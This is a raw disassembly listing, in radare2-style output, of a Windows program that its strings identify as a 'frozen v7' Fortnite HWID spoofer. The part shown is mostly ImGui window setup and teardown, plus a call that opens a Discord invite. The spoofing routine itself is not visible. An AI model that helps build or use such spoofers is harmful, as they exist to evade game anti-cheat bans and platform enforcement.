lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov rbx, rcx
mov qword [rbp + 0x3f0], rcx
call fcn.140010f10
lea rcx, [rdi + 0x4838]
lea rdx, [rbp + 0x3f0]
call fcn.14001e5e0
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rdi + 0x3ed0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x298]
call fcn.140027ef0
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
addss xmm1, dword [0x1400cfa4c]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, dword [0x1400cfa30]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
call fcn.140015100
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
movaps xmm1, xmmword [0x1400cfc00]
movups xmmword [rsp + 0x60], xmm1
mov dword [rbp + 0x130], 0x3f800000
mov dword [rbp + 0x134], 0x3f800000
mov qword [rbp + 0x138], 0
mov dword [rbp + 0x140], 0x42200000
mov dword [rbp + 0x144], 0x42200000
lea rax, [rbp + 0x48]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x130]
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x140]
mov rcx, qword [0x1401055b0]
call fcn.1400350e0
movaps xmm1, xmm9
movaps xmm0, xmm7
call fcn.140014ea0
mov rbx, qword [0x140105590]
xor edi, edi
mov dword [rbp + 0x48], edi
movups xmm0, xmmword [rbx + 0x38ac]
movups xmmword [rbp + 0x4c], xmm0
lea rcx, [rbx + 0x4818]
lea rdx, [rbp + 0x48]
call fcn.14001e370
mov dword [rbx + 0x38ac], edi
mov dword [rbx + 0x38b0], 0x3f000000
mov dword [rbx + 0x38b4], 0x3f800000
mov dword [rbx + 0x38b8], 0x3f800000
mov qword [rbp + 0x148], rdi
lea r9, [rbp + 0x148]
xor edx, edx
lea rcx, str.Fortnite_Spoofing
call fcn.14003a8b0
test al, al
je 0x140048c49
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.http:__discord.gg_frozenfn
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140004160
call fcn.140015250
call fcn.140011020
movss xmm6, dword [0x1400cfa3c]
mov rcx, qword [0x140105590]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ed0]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
addss xmm1, xmm7
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm7
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
mov dword [rbp + 0x150], 0x4419c000
mov dword [rbp + 0x154], 0x43ca8000
lea rdx, [rbp + 0x150]
lea rcx, str.Fill
call fcn.1400342f0
call fcn.14000b030
test al, al
je 0x140048d5e
lea rdx, [rbp + 0x1e0]
mov rcx, r12
call qword [sym.imp.USER32.dll_GetWindowRect]
movaps xmm2, xmm9
lea rcx, [rbp + 0x2d0]
call fcn.140012200
movd xmm0, dword [rbp + 0x1e4]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
movaps xmm2, xmm9
lea rcx, [rbp + 0x2e8]
call fcn.140012200
movd xmm0, dword [rbp + 0x1e0]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x195
mov r9d, 0x267
mov r8d, ebx
mov rcx, r12
call qword [sym.imp.USER32.dll_MoveWindow]
call fcn.140010160
call fcn.14000a8f0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov rcx, qword [0x140105920]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x140105908]
lea edx, [r9 + 1]
call qword [rax + 0x108]
mov rcx, qword [0x140105920]
mov rax, qword [rcx]
lea r8, [rbp + 0x2f0]
mov rdx, qword [0x140105908]
call qword [rax + 0x190]
mov rbx, qword [0x140105590]
cmp dword [rbx + 0x48a0], 0
jg 0x140048dd8
mov r8d, 0x70b
lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
mov rcx, qword [rax]
add rcx, 0x48
mov rax, rdi
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.14003b3f0
mov rcx, qword [0x140105910]
mov rax, qword [rcx]
xor r8d, r8d
mov ebx, 1
mov edx, ebx
call qword [rax + 0x40]
jmp 0x140040ff0
mov rbx, qword [0x140105590]
test rbx, rbx
je 0x140048e2c
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x140048e4d
mov r8d, 0x241
lea rdx, str.C:UsersJanDesktop_frozen_v7_spoofer_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140105590]
test rbx, rbx
jne 0x140048e73
mov r8d, 0x102b
lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140105590]
call fcn.14003c380
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x140048e87
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140048e95
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140048ea4
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
xor esi, esi
mov qword [rbx + 0x90], rsi
mov qword [rbx + 0xa0], rsi
and dword [rbx + 0xc], 0xfffffff7
mov rax, qword [0x140105590]
test rax, rax
je 0x140048eca
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x140105590]
test rax, rax
je 0x140048eed
mov rdi, qword [rax + 0x98]
test rdi, rdi
jne 0x140048f11
jmp 0x140048ef0
mov rdi, rsi
mov r8d, 0xb7
lea rdx, str.C:UsersJanDesktop_frozen_v7_spoofer_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140105590]
test rax, rax
jne 0x140048f37
mov r8d, 0x102b
lea rdx, str.C:UsersJanDesktop_frozen_v7_spooferimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140105590]
lea rbx, [rax + 8]
mov rcx, qword [rdi + 0x30]
test rcx, rcx
je 0x140048f51
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x140105590]
mov qword [rbx + 0x80], rsi
mov qword [rbx + 0x90], rsi
and dword [rbx + 4], 0xfffffff8
test rax, rax
je 0x140048f6e
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x140105590]
mov qword [0x140105590], rbx
call fcn.140006040
mov qword [0x140105590], rsi
test rbx, rbx
je 0x140048fb9
mov rcx, rbx
call fcn.14001ee60
mov rax, qword [0x140105590]
test rax, rax
je 0x140048fb0
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140049030
mov rcx, r12
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x298]
mov rcx, qword [rbp + 0x2c0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
xor eax, eax
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret